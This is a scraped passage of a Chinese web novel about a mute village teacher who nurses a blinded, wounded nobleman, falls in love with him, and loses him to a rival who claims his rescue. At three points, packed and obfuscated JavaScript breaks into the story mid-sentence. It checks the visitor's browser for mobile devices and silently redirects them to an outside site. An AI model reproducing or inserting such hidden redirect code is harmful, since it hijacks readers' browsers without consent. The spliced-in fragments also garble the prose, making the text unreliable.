她今天打算做大扫除的,再把水缸里的水填满,把地里的草除一下种点瓜果,村长送了她一小块地,足够她一个人种菜吃,但是平时大家都有送食物给她,她一个人吃正好够,就不用自己种了。 种点瓜果,可以闲暇时解解馋,再送些给大家吃,学堂里孩子多,做点果干给他们吃也好,作为学习进步的奖励。 做饭的火坑里堆满灰白的草木灰,柴火埋在其中,只需要把草木灰扒开,柴火还是有火的,叠一下吹吹气就又能生火了,这是底层百姓们最快捷省事的生火方式。 阿凰从草木灰中抽出一根木柴,被火烧过的那端已经成了乌黑的木炭,正好可以用来写字,她就在地上写了简短易懂的内容,再加上一些比划,大家便理解了她的意思。 “我们来帮师父大扫除吧!”年纪最大的那个孩子带头说话,剩下的孩子们一呼而应,也不等阿凰拒绝,各自分工明确地去干活了。 而正枫也提着木桶说:“我去挑水,用不了多久水缸就满了。” 看着大家忙得不亦乐乎,阿凰只能欣慰地笑了笑,心中无限温馨,她把捡来的小鸟安顿好,以前捡来养好伤的动物有一些自己留了下来,给她当起了看家护卫,她给护卫们喂食后,便带上农具下地去了。 临别前她准备了食物,叫他们吃完了再走。 有一条土狗非要跟着阿凰出门,每次她下地,它都会跟着她,兴许是它刚来的时候是伤得最重的,一直害怕被抛弃,所以很黏着她,直到现在,它的后腿还一撅一拐的。 除草的锄头也分大小,有些人家给孩子准备了小锄头一起干活。 阿凰力气小,扛着中等型号的锄头,沿着小路走向自己的小地皮,土狗跟在身边,欢快地摇摇尾巴。 今天的路途似乎有哪里不太一样,经过林子里的小路,阿凰总感觉哪里不对劲,连身边的土狗也有些警惕。 继续走了一段路,土狗突然狂吠不止,转身就飞快跑向另一边,阿凰怕它出事,只能跟了上去。 跑得阿凰气喘吁吁时,土狗终于在一个小坡停下,她赶上去,看清眼前的一切时,愣在原地睁大了眼睛。 土坡下躺着一个男人,浑身脏污,暴露在外面的伤口布满血丝,混着泥土,他奄奄一息,已经昏迷不醒。 18. 捡来的男人 看着地上快要一命呜呼的男人,阿凰心中十分纠结,如果回去喊人来救,她怕她一走这个人就出了意外,那就只能她自己带回去了。 可是她力气小,这男人身材精壮得当,个子也不小,她见过的参军回乡的人,那是练武的身材,这男人就是那一种的。 她尝试了一下,很费劲才把他从地上拖起来。 她心中犹豫了一下,这毕竟是个陌生男人,不知来头,轻易带回村子里会不会带来麻烦?可是他就要死了,把他丢在这里,眼睁睁看着他去死……她良心上过不去。 反正他伤得这么重,带回去处理伤口,把他的命保住了,再和大伙商量是送出去还是留下吧。 想归想,真正要把这么一个人扛回去要费很大力气,阿凰原本想抓着男人的腋下,把人拖在地上拖回去,也只是想了想,觉得有点过分了,他伤成这样,这么拖回去跟折磨人没两样。 不得已,阿凰只能把男人背起来,差点连站都站不起来,好不容易站稳身子,她拿着锄头当拐杖,歪歪扭扭地返回村子,半路上还摔倒了一次,把自己摔出小伤。 回到家,孩子们已经走了,阿凰出门前准备的吃食他们也没动。 把人放在床上,阿凰也顾不上他身上脏兮兮的污秽把床弄脏,打算先把男人身上已经破了的衣服扒下来再清理伤口,可是,手伸出去摸到他衣领的时候,她有点下不了手。 要把一个男人扒光了,还是挺难为情的…… 她伸手试探男人的气息,微弱到快感受不到了,再拖就晚了,不得已,她硬着头皮去解开男人的衣带,感觉过了很久,终于把衣服扒下来。 接着她去抬一盆水回来,打湿毛巾把伤口处理干净,再用布把流血的伤口捂住,一阵忙活下来,她累得先喘口气。 只是这样还不行,得找大夫来救人,正好这时外面正枫打水回来了,阿凰跑出去拉住他,没看到他红透了的脸色,把他带进房间,指着床上的男人,焦急地打比划。 “我明白了,我这就去找大夫。”正枫忽略了心中小小的失落,救人要紧,立刻跑出去了。 趁这个时候,阿凰去烧热水,同时准备了饭菜。 忙活完正枫正好带着人回来,一面指路一面把大夫往屋里引,虽有男女大防的规矩,可乡野之中规矩的管束也宽松一些,再加上是危急时刻,也管不了那么多了,大夫带着药箱进了屋。 看到床上躺着的人,大夫也惊讶了,先查看人是否存活,确认之后便进行下一步了,时不时指挥身后的阿凰和正枫打下手。 许久之后,阿凰看到大夫松了一口气,心里觉得应该是把男人的命留住了。 “大夫,他伤得怎么样了?”正枫问。 “他身上大多是刀剑留下的伤,还有一些我看不出来的东西,不过他命大,一直撑着一口气,处理了伤口不被感染和恶化,正常用药,静养一段时间再看看。”大夫说着,一面吩咐一面收拾东西。 阿凰拿钱付了诊费,心想,得想办法去赚钱了。 离开前,大夫又说了句:“我还是第一次见到命这么硬的人。” 屋里就剩下两个好好的人,阿凰向正枫示意,让他去找村长来,至少得说明一下情况。 没多久老村长便来了,了解过情况,只说等人醒来问过底细再做打算,阿凰要留他吃饭,他婉拒了,还告诉她有困难可以找他,正枫也跟着村长离去。 屋子里重归平静,阿凰坐在床边休息,看着男人的脸有些出神。 她还是第一次见到长得这么好看的人,别说男人,女人也不见得有他这么完美的脸。 身材也很完美…… 阿凰把脸移开了,脸上有点热,干脆出去透透气,想起来饭做好了没人吃,肚子里空空的,就先去吃饭了。 也不知道他遇到了多凶险的事才伤成这样的。 一连过了好几天,男人一点醒来的迹象都没有,每次阿凰怀疑他是不是还或者的时候,去探他气息又还探得到。 这几天,阿凰都一个人在房间里的小角落睡觉,因为别的地方也睡不下,正好可以时刻观察伤者,有突发情况能及时发现。 每日教完孩子们学字,阿凰就到人流密集处卖艺,她只会吹笛子,可是竟然也有很多人爱听,每次都能得到不少赏钱,没有钱的也会捧个人场。 就连某个员外家里的小姐公子都想请她去府中当乐师,可她本就与人交流不便,又不会名流贵族的规矩,怕害了自己。 先别说家里还有个昏迷不醒的人等着照顾,村子里的大伙都对她很好,她舍不得。 小姐公子们缺她一个乐师不少,可清水村的孩子们只有她一个教书先生。 好在员外府里的人也不计较,有时还会亲自过来当听众,大手一挥赏钱给得很大方,原本阿凰给男人买衣服和伤药花了不少钱,这一来,就够用好久了。 回到家,阿凰放好东西,准备给那个男人换伤药,可是到了床前,却空无一人。 她刚转身,那个男人就神出鬼没地出现在身后,在她还没反应过来的时候掐住了她的脖子。 此时此刻,阿凰才知道什么是叫天天不应叫地地不灵,她连叫救命的机会都没有,只能双手抓住男人的胳膊拼命挣扎。 “说,谁派你来的?”男人突然开口了,语气冷得可怕,好像她回答得不满意就扭断她的脖子。 她也确实无法回答,只能发出一丝嘶哑的声音。 “说出你的身份,否则我让你当场毙命。”男人又威胁着道,眸中十分警惕,微微偏着脑袋,下意识用耳朵去捕捉一切声音,眼珠子一直转动,好像找不到焦点。 阿凰发现问题了,他看不见。 她被男人举起来,两脚都离地了,只能更拼命地挣扎,两脚乱踹着,踹倒了很多东西。 终于有人听到动静,外面来了人,看到屋里的一切吓得大叫一声,男人听到声音也跟着转过身,可手机还是不肯放开阿凰。 “你这畜生!你快放了阿凰!你要害死你的救命恩人吗?”邻居愤怒地吼道,手里抄了家伙,可是害怕男人会伤到阿凰,不敢贸然行动。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126062|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人眸中闪过一丝迟疑,嘴里还是问:“你们是什么人?” “什么人?”邻居冷哼一声,“我们是庄稼人,伺候不了你这尊大佛,既然醒来就走吧,也不指望你能知恩图报,还不快放了阿凰?” 感受到脖子上的力道松懈了一点,阿凰努力往嘴里吸气,大口呼吸着。 那邻居看着阿凰心疼不已,说:“我们阿凰只是一介孤女,还说不了话,她一向心善,救了你这白眼狼回家,照顾了你这么久,连你身上的衣服都是她花钱买的,你一醒来就要她的命,还有天理吗?你快放过她,就此离去吧!我们清水村不欢迎你这种人!” 男人面色凝重,似乎在思索可信性,手中的力道不自觉轻了许多,阿凰用力一挣扎,终于摆脱他的魔爪,跪坐到地上,邻居立刻冲过来护着她,瞪着男人,生怕他还会做出什么过激的事。 阿凰指了指男人的眼睛,做了个摆手的动作,邻居好一会儿才理解了她的意思,尝试着上前去,在男人的眼前挥了挥手,他毫无反应。 “把村长叫来,把这个人赶出村子去吧,这么是非不分,还想伤你,留不得他了。”邻居愤愤不平道。 阿凰阻止他,好一阵比划,他才点点头,离开前,他又警告男人:“阿凰心善,我可不会轻易放过你,要是再让我发现你欺负她,我们整个村子的人就把你抓起来,装在猪笼里丢下清水河!” 屋子里又安静下来,一个不会说话,一个不爱说话,寂静无声。 良久,男人启唇:“是你救了我?” 阿凰下意识点点头,可是反应过来他看不见,正想着怎么和他交流,他又开口了。 “你说不了话?” 阿凰敲了一下桌子。 “这里是清水村?” 阿凰又敲了一下桌子。 男人眸中的冷色减少了许多,他说:“我明白了。” 东明国城镇千千万,小小一个清水村,以曾经发生过灾祸而让他留有印象。 “多谢你,方才是我冲动了,我向你致歉。”男人又说。 阿凰其实可以理解他的行为,他这一身伤,也许是被人追杀留下的,所以命悬一线,也因此才对周围的一切过分警惕,更何况现如今他目不能视,更是把脑袋提在裤腰上活。 “你可以叫我独孤……算了。”他的话头一止,反应过来她说不了话,这么告诉她也没用。 “由于我现在看不见,这段时间内无法离开,多有麻烦,等到我亲朋好友找到我的那天便会离去。” 桌子“哒”响了一声,表示同意。 “我虽看不见,但你以后可以在我手上写字……”话音未落,独孤凤渊又是一顿。 村子里的人怎么会写字?他怀疑自己脑袋摔傻了,今天怎么错误频出。 手上却传来痒意,轻轻的,像羽毛在手心拂过,女子的清香萦绕在鼻尖,一股极浅的温暖的气息近乎飘到怀里,提醒着他,那个女孩在他面前。 等他反应过来,才知道刚刚阿凰在他手心写的内容是:我会写字。 19. 不经逗 自从独孤凤渊醒来之后,他身上的伤就恢复得很快,只是因为暂时瞎了眼,行动不便,阿凰便寸步不离地照顾他。 他的观察力惊人得可怕,某天他发现了阿凰一直睡在屋子里的小角落,把自己的床让出来给他,于是他说什么也要让阿凰回去,自己要睡地上。 再三劝解下他才同意继续睡床上,阿凰也表达了自己会找几块木板来搭个简易的床,不会再睡地上了。 “我叫独孤凤渊,凤凰的凤,深渊的渊。”他忽然说,“你会写吗?” 虽然这么问,可是他已经伸出手,阿凰便在他的手心里一笔一划地写完了他的名字。 “写我的名字太麻烦了,以后你要是想写,可以只写一个凤字。” 阿凰觉得一点也不麻烦,觉得他的名字真好听,人如其名,好看的他,好听的名字。 “你有没有发现,我们的名字很相配?一个凤,一个凰,真的只是巧合吗?” 虽然他看不见,可是阿凰觉得,他的眼睛真好看,此时的他眸中的笑意能让她醉倒其中,好像他深深地看着她。 她写不出反驳的话,只是觉得耳朵很烫,整个人都好不自在,扭头就要跑出门。 “不许跑。”独孤凤渊抓住了她的手,“难道是我说错话了?那我很抱歉,我很少和女子接触,也许会不经意就伤了女子的心,你若不喜欢我不再说了。” 阿凰没再跑出去,在他手心写道:不必抱歉,我没有计较。 “那你为什么要跑?真的不是不喜欢我吗?”独孤凤渊伸出手摸到她的头发,顺着往下走,摸了她的耳朵。 “你的耳朵很烫。”他的声音近乎贴在她耳边,呼出来的气把她的耳朵熏得更红了。 阿凰总算明白了,他就是故意的。 自从发现她不经逗,他每次都要这样逗她,直到最后她整个人都像烧红了似的求饶,他才肯放开她。 她挣扎着要走,可是她的力气哪里拗得过习武的独孤凤渊? 偏偏这种时候他还要贴着她耳边说:“你确定要这样跑出去见人吗?” 阿凰失去了所有手段,只能写字说:我要去教孩子们写字。 “真的吗?” 这一反问,更让阿凰坐立不安。 “再陪陪我吧。” 她就这么莫名其妙地和独孤凤渊挨着坐下。 “我想听你吹曲子。” 一曲相思意,眼前人似海中月。 “以后我给你找来最好的玉石做成笛子。” 阿凰写:好。 我想教你一首歌。 远看阿郎赶牛来耶,赶牛来耶,惹得阿妹悄悄猜,若是他日成双对,愿为阿妹摘云彩哟咿哟。 写完歌词,她用笛子将旋律吹出来,独孤凤渊很快就学会了。 “以前我从来没有想过身旁要有一个人陪伴,甚至还很鄙夷对妻子言听计从的兄弟。”独孤凤渊轻笑一声,“人只有自己亲身经历,才能懂得内心深处的渴望。” 阿凰不知道该写什么。 他转过来,眼睛还在下意识乱转,可是始终无法找到焦点。 “我多想看看你的样子,想看见你教孩子们识字,想亲眼看着你吹笛子,这些场景一定很美,已经在我脑海里上演了无数次。” 阿凰缓缓抬手,摸了摸自己脸上的胎记。 你不会想看到我的模样的。 然而阿凰的脑海里,夜月姬看着两个人亲密无间的场景,久久不能言语。 进入凡尘十二镜后,所有人都失去了记忆,进行着不一样的人生,可是夜月姬还有记忆,只是不能再呼唤阿凰,什么也做不了。 “命苦的姑娘,现实里嗓子毁了也就算了,虚拟世界里更过分,直接变成哑巴了,好不容易暗恋的人也喜欢自己,最双向奔赴的一集,却不能表达心意,看哭了,好想换台。” 夜月姬有一种看热闹的心理,这两个人,哎……真不敢想象,经历了这样的幻境,回到现实中,他们会是什么反应?估计会很尴尬吧? 特别是阿凰,夜月姬甚至觉得她这一辈子,直到死了也不会说出自己的心意,经历幻境,现实里阿凰可能要羞愧得一头撞死了,大概要好几天不敢见人吧。 夜月姬做好了劝解自家白菜的准备。 白菜?夜月姬反应过来,相处了这么久,她从阿凰小时候就附身了,好像在自己都没发现的时候,早就把阿凰当自己的后辈。 嗯……独孤凤渊对她来说就是一头山猪,不识好歹的野猪,就知道伤自家白菜的心。 很无奈,白菜就喜欢这头山猪啊,喜欢又不敢说。但是夜月姬也觉得,说了也没用,山猪正在被人蛊惑着呢。 阿凰要去学堂给孩子们教字,独孤凤渊却坚持着要一同前去。 “我虽看不到,可我也想体验你的生活,难道你要剥夺我出门的自由吗?” 没办法,阿凰只能搀扶着他走。 到了学堂,孩子们已经到齐了,坐在自己的位置上交头接耳,一看到来了人,大家齐刷刷看过来,年纪大一些的孩子先打趣起来,剩下的孩子们也跟着起哄。 “这就是阿凰姐姐捡到的那个人吗?” “他真的看不见哎。” “他个子好高,长得真好看!” 孩子们一拥而上,围在阿凰身边叽叽喳喳,帮着她搀扶独孤凤渊,有个孩子趁机搬了把板凳过来让他坐下。 等到孩子们都回到座位坐好,阿凰开始检查之前交代的作业,每个人轮流上前来,在板子上写下她新教的字,一个个歪歪扭扭黑色的“饭”字留在木板上。 其实独孤凤渊一直很好奇,阿凰说不了话是怎么做到教孩子们学字的?这一刻他的疑惑得到了解答,她不能说话,所以只能教一些能用事物指代的字,这样发音的问题就得到了解决,孩子们明白了某一事物是哪个字,她就可以教他们写了,只是限制太大了。 果然,趁孩子们写字的功夫,阿凰在他手心写字,说她能教的字都差不多了,剩下的她无法发出声音,教不了。 “你要教什么,可以写给我,我告诉孩子们怎么念。”独孤凤渊说。 阿凰十分高兴,好像有他在,一切问题都能迎刃而解。 她想教孩子们更实用的东西,循序渐进地在独孤凤渊手心写字,再由他说出来,一点一点地教育村庄里的孩子们。 好在这些孩子们虽然没什么基础,条件也不好,但是都非常争气,肯努力刻苦,教的东西都能慢慢学会。 还有几个孩子很想和她学吹笛子,家里人拗不过,请人帮忙做了笛子,他们也都很认真地学,已经学会了吹几首简单的曲子,在农忙后,大家在院子里吹风,他们就有了展示的舞台。 独孤凤渊虽然看不见,但似乎可以想象眼前的场景,耳边的一切动静都传入耳中,有时他也会觉得,这样平和安定的日子也不错。 可他不能安定,他松懈了,这些平民百姓就要受难。 于是有一天,阿凰在院子里晒衣服,他坐在一旁,忽然问:“阿凰,我不在的日子里,你会好好的吗?你会想起我吗?” 阿凰手中动作一顿,此时她才想起来,他只是在这里养伤的,等他好了终究会离开。 你要走了吗?她在他手心写。 “我有不得不走的理由。”他说。 阿凰没有回答。 “我知道你无法放下这里的孩子们,可我还是想问,你会愿意和我走吗?”独孤凤渊问。 好一会儿,阿凰才写:去哪里? 他眼中一亮,仿佛看到了希望,声音里都带了期翼:“去我家,你愿意吗?那里什么也不缺,你想要什么都有,想做什么都可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126063|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,我也尚未娶妻,你不需要像别的女人那样和丈夫的妻妾勾心斗角,我这辈子只会有你一个妻子,只有一点,我事务繁忙,会经常无法陪伴在你身边。” 阿凰看着他聚焦不到她身上的眼睛,心想,任何一个女人看着这双眼睛,给予这样的承诺,都会感动得流下眼泪吧?怎么会有人忍心拒绝他呢? 可是,他有不得不离开的理由,她也有无法舍弃的东西啊。 这些日子相处下来,阿凰早就猜出来他的身份不一般了,什么身份地位她都不在乎,她只在乎和他相识相伴的这些日子,她也不奢望被他带回家飞上枝头变凤凰的美梦,只是想珍惜相处的时光,希望他在很久以后,也会偶尔想起她,想起这些日子。 等这些孩子们学会了一分半点本事,等我教无所教,我会去找你。阿凰在他手心写道。 “好。”独孤凤渊一只手掌就能把她的两只手握住,“到了京城,你只需要报出我的名号,定会有人带你去见我。” 阿凰这辈子从未出过远门,对外面的世界也毫无了解,在听到他说的这番信息,也只是觉得听起来高攀不起,光是京城两个字就足够唬人了。 手心沉甸甸的,阿凰张开手,一枚玉佩被塞进手中,玉佩上刻了一个“凤”字。 独孤凤渊语气温和:“这是我母亲亲自为我寻的好料子,请大师打成玉佩,因我常年在外为我祈求平安,我随身携带着,你拿着这枚玉佩,别人自会认得,即便你有难处,把玉佩卖了也能换不少钱。” 既然是母亲的心意,还是平安符一样的东西,怎么能轻易送人呢?阿凰再三推脱,被他挂在腰上才不得不接受了,想来这是将来唯一能找到他的信物,重逢后再还给他就是。 不知道独孤凤渊什么时候就走了,阿凰格外珍惜剩下的时光,有时也由着他做些出格的事,一开始和他十指相扣都扭扭捏捏,现在已经能接受被他抱着了。 夏日炎炎,许多山果都结果了,阿凰有时会上山采些野果回来。 正好山李子山桃都长得不错,今日她的篓子里装满了各种各样的果子,在河边洗干净就带回家。 路过别人家的时候,她把果子分出去了一些,留着一小半。 回到家就看到独孤凤渊在摸索着慢慢走,这些日子,他早已适应环境,对家里的布局了如指掌,不需要拐杖也能自己走路了。 从春天到夏天,他的伤几乎全好了,只剩眼睛还未痊愈。 阿凰把果子放在桌子上,把独孤凤渊扶进屋里,让他尝尝她刚摘的果子。 他非要她喂,每吃一颗果子嘴唇就不小心碰到她的指尖,花了半天时间才把那点果子吃光。 等到她将装果子的碗拿出去,再回到房间,忽然被他抱进怀中。 发烧了?阿凰还在疑惑,没来得及写,就被男人抱得更紧,他的气息好像更烫人了。 她只是挣扎了一下,独孤凤渊就警告出声,声音低沉:“别动,我会做坏事的。” 她不敢动了,从未见过这样的他。 “你给我吃了什么?” 阿凰摇摇头,仔细回忆了一下,难道是果子有问题? 果然,独孤凤渊在她耳边吐出一个果实的名字,金萼果,她并不陌生,然而他说出果实的功效,她愣住了。 滋阴补阳,固精缩尿。 天旋地转,阿凰回到了自己床上,都是那个人的气息,她要呼吸不过来了。 整个人都飘飘忽忽的,快要找不到自己了…… 她阻止了那只手继续向下,推开独孤凤渊跑出去。 直到跑了很远,她才停下来,靠着树干气喘吁吁。 摸了摸红润的唇,似乎有点红肿,某个人太过着急,差点被啃出血了。 她心中十分纠结。 既然决定了要离去,为什么还要撩拨她? 20. 小医仙 独孤凤渊闷闷不乐很久了,阿凰本就不会说话,两个人都沉默后,寂静得可怕。 她如往常一样倒了药水给他,送到他嘴边,这次他没反应,她便用手指戳戳他的脸颊,还是没反应。 她在他手心写:喝药。 “不喝,反正没人要我这个瞎子。” 没人要你早就被赶出去了。阿凰写。 独孤凤渊这才肯喝药,不过他拍了拍自己的大腿,说:“你坐过来。” 这样怎么喂药?她写。 然后被他拉着坐在他大腿上,他说:“你先喝一口。” 又没人给你下毒。 写完,阿凰疑惑他想干嘛,照做喝了一口汤药。 独孤凤渊一只手臂环抱住怀里的少女,听到她喝了药,另一只手摸索到她的脸,扣住她后脑勺,突然贴了上来,一点点把药水汲取干净。 “这药不苦,好喝,再来一口。” 听到他得逞的语气,阿凰又羞又恼,想逃走却被他死死按住。 “就连最后陪我的时间你都不肯给我吗?”独孤凤渊用额头贴着她的额头,语调忧愁。 她忽然间就无力拒绝了,是啊,她一直都想好好珍惜剩下的时光,趁着人就在眼前,还总是扭捏什么呢? 最后喝完一碗药,阿凰甚至感觉用了几个时辰,两个人都呼吸不稳了,额头贴着额头,脸对着脸,对方的气息近在咫尺。 阿凰脑海里,看完这一切的夜月姬觉得,回到现实后这两个人一定会很尴尬的吧,一个一心爱着那个团宠,从不把别人放在眼里,另一个不敢直面自己的感情,连偷偷看他一眼都怕被发现。 真是难搞哦……出去以后,他们还怎么面对彼此呢?真是很好奇。 尤其是独孤凤渊,是会对这些经历恼羞成怒,还是会改变自己的心意? 不过,夜月姬还有一点好奇的事,正枫此人并未参与凡尘十二镜,怎么也出现在这里了?她只能认为,镜中世界出现的具体的人,都是入镜者见过的人。 药就快吃完了,正好许多东西也需要采办,阿凰便要去问问谁家有去镇上的打算,她想搭顺风车。 她自己是没有养牛马驴的,每次出门只能搭别人的牛车。 独孤凤渊想出去看看,觉得眼睛似乎有所好转,阿凰便借了邻居的牛车来。 “若此时我看得见就好了,我想带着你策马扬鞭,无论是山间林里,还是繁华都城,我都想带着你去看看。”独孤凤渊憧憬着说。 阿凰空出一只手,握住他的手,嘴角带了笑意,望着前头的牛往前路而行,大路蜿蜒曲折。 他所说的一切她都很向往,她没有什么远大的愿望,就算到达不了那些美好的未来,只是两个人为了平凡的生活而忙碌,并肩前去赶集,一起坐在院子里吹风,一起给屋外的花儿浇水,都是很好的日子。 寂静良久,独孤凤渊道:“我想做的事情太多,未来的计划很繁忙,但我的时间里永远有你的一份。” 他想看得见,阿凰又何尝不想说出话呢,她也想告诉他,他很好,他想做的事一定会达成,而她也会永远守着他。 经过一处密林间的小路,赶路的牛停下来吃草,阿凰也不急着催它,可是牛越吃越多,好像没有要继续走的意思。 “怎么了?”独孤凤渊出声问。 阿凰正要赶牛,它突然甩甩牛头,不受控制地往另外的方向冲出去。 整个板车都在颠簸,车上的阿凰和独孤凤渊也摇摇晃晃,努力抓着板车边缘才能不被甩下来。 虽然过了几个月的安定日子,独孤凤渊也没有丝毫松懈,危急时刻立刻警惕起来,抽出身上带的匕首,说:“阿凰,割断绳子。” 这时候贸然跳车只会受伤,何况他看不见? 阿凰接过匕首,另一只手努力抓紧板车,挪动身子过去,好不容易就要够到绳子,此时整个车身一震,她和独孤凤渊都被甩出去,天翻地覆间一直向山坡下滚去。 颠簸了好久,感觉滚落好远,阿凰才停下来,躺在地上缓了好一会儿才缓过来,视线搜寻独孤凤渊的身影,看见他躺在不远处一动不动。 阿凰吓得赶紧连滚带爬跑过去,独孤凤渊脑袋上流了血,不知道撞到了什么,好在气息还在,只是暂且昏迷了。 她刚把他背起来,就听到有人说话的声音在靠近:“我亲眼看着他们滚下这里,快搜!” 虽然不知道来人的身份,可是一听就知道不是什么好人好事,联想到第一次见到独孤凤渊的样子,阿凰猜测这些人肯定是他的仇家,他现在的样子,落在敌人手里只能任人宰割。 奋力背着他挪动,四处搜寻可以藏身的地方,阿凰终于看到一堆干枯的杂草,似乎是这块地的主人刚除了草,堆在一起。 阿凰把他塞到杂草堆里,又从他头上抹了一些血抹在自己身上,迅速离开独孤凤渊藏身的地方,跑出去。 远处那些人还在搜寻目标,见了慌慌张张的阿凰,立刻就追上来。 她只跑了一小段路就被逮住,头发被人从身后抓住,头皮又痛又辣。 “说,另一个人在哪里?”有人在用不耐烦的声音问。 阿凰害怕极了,这么多年她哪里遇到过这种事,这么可怕的人?可是她不能害怕,更不能露馅,否则就前功尽弃了。 她张开嘴发出嘶哑的“嗬嗬”,指了指自己的嘴巴,又摆摆手。 那些人领会了她的意思,讥讽道:“原来是个哑巴啊。” “哑巴没关系,只需要听得懂人话就行了,快带路,把那个人找出来,否则……” 几个人眼神不善,阿凰感觉被恶心的东西粘在身上,下意识抱紧自己,即便如此她也不想妥协,只是摇头。 见她不肯服从,有人□□着说:“这娘们丑是丑了点,不过身材不错,要是再不肯说,哼哼……我们就用让你一辈子记忆深刻的办法逼你招供。” 阿凰整个人都僵住了,她好想逃,好想有人救救她,想到独孤凤渊就被藏在不远处,她更绝望了。 “别多事,抓紧找到人复命。”有个人冷冷地说。 另外的人收敛许多,阿凰顿时松了一口气,至少她暂时不会被…… “有人来了。”那人警惕起来,转身看去,沉默了会儿,“是敌非友,走。” 阿凰还没来得及反应就被打晕了。 没多久,一个身穿鹅黄色衣衫的少女赶来,看到眼前空无一人,可是还有敌人的气息,叹了口气。 “真是的,又来晚了。” 顾纯儿正准备离去,发现不远处的杂草堆里有动静,跑了过去,里面还在沙沙响。 她把杂草扒开,就看到满头是血的独孤凤渊,他缓缓转醒,只是依然很虚弱。 睁开眼的那一刻,他受光线刺激下意识眯着眼睛,好一会儿才适应了,睁开眼睛,有气无力道:“我看见了……” 看到面前的少女,独孤凤渊伸出手,下一刻又晕了过去。 看到他眼睛的那一刻,顾纯儿眸中惊喜未定,等他晕过去,她便思索起来。 “真是一双好眼睛……”顾纯儿眼中分不清是羡慕还是嫉恨。 她找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126064|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么久的东西终于找到了。 看到独孤凤渊身旁的玉佩,她捡起来看了看,上面刻了个凤字,一看就知道是上好的料子,玉佩的主人非富即贵,她便先帮他收起来,顺手挂在自己腰带上了。 接着她往独孤凤渊嘴里塞了一颗丹药,稍微施加术法就让他把药丸咽下去,如此一来,暂且保住了他一条命。 顾纯儿拍拍手,一只蝴蝶飞过来,到达她面前时变为巨大,两旁的翅膀微微扇动就带起狂风。 她手上一动,昏迷的独孤凤渊就被一阵风带到蝴蝶身上,她也随之飞上去。 “走。”顾纯儿出声命令,蝴蝶不敢怠慢,扑动翅膀升上天空。 独孤凤渊一昏迷就是两天,这两天内顾纯儿并没有到城镇里找客栈住下,而是在荒无人烟的郊外找了间破庙落脚。 至于破庙怎么变成干净整洁,足以让人住下的新地方,那当然是那只蝴蝶的功劳,那是一只蝴蝶精,化作人形,在顾纯儿的指挥下动手收拾一切。 看着蝴蝶精有点眼熟的面孔,夜月姬仔细回忆起来,才想起,这不就是阿凰第一天晨练被众人落下,在山里迷路,给她指路还送了水果当早餐的那个女子? 可是阿凰和她仅仅是一面之缘,甚至名字都不知道,为何她也出现在镜中世界?又或者是,其实她是别人认识的? 夜月姬有点好奇,这个女子又会在镜中世界有着怎么样的人生? 顾纯儿又给独孤凤渊喂了些药,她比任何人都急需他醒来,她又施展起治愈的术法,这一次他终于缓缓睁开眼。 看到那双眼睛,顾纯儿心里的想法又在蠢蠢欲动了,只能告诉自己,徐徐图之,莫惊动目标。 刚醒来的独孤凤渊眸中有一丝迷茫,顾纯儿主动凑近他,关切道:“你醒啦?感觉怎么样?” “是你救了我?”独孤凤渊问着,不知为何,记忆中好像在几个月以前他也这么问过。 他的记忆只有被追杀落难后,被一个女子救了,暂时瞎了眼,他和那个女子似乎相处了几个月,而后再度遇险,别的再不记得了。 似乎,中途醒了一次,就是看到眼前这少女的场景。 顾纯儿点点头说:“我给你喂了些药,你昏迷了两天,终于醒了。” 独孤凤渊伸出手,落难这段时间的记忆还有些模糊,他说:“我又能看见了。” “兴许是你撞了脑袋,便阴差阳错地恢复了。”顾纯儿说。 原来如此,不过也正因如此,他丢失了一些记忆。 独孤凤渊暼到了少女腰间的玉佩,那是他随身携带的,他还有一点记忆,这是他失明的时候送给了救下自己的女子。 原本那点疑虑也消失殆尽,他还模糊的记得,两人之间关系亲密。 “我好像不记得你了。” 顾纯儿坐在他面前,她的嗓音本就甜美,此时刻意柔和下来说:“没关系,既然救了你,我一定会负责到底,直到你恢复为止,我可是药宗的小医仙,药到病除!” 药宗?独孤凤渊知道这股势力,也一直派人求药宗出山,战争死伤惨重,他需要药宗为军中助力,只可惜药宗对外宣称中立,谁也不帮。 既如此,他对于眼前的少女再也无所顾忌,不仅是他的救命恩人,还是药宗的人,是她救了他就十分合理。 “能再告诉我,你叫什么名字吗?”独孤凤渊看着她。 若换作别的女子,早就醉在他这样的眼神当中。 然而顾纯儿神色如常,甜甜一笑:“我呀?世人唤我小医仙,你也可以叫我的名字,顾纯儿。” 21. 去找他 东明,盛京,人来人往,车水马龙,一派盛世繁华之景象。 最繁华之处,矗立着一家四季酒楼,号称永不歇业,欢迎天下所有来客。 至于四季酒楼背后真正的势力,一直众说纷纭,甚至有人猜测和皇室有关。 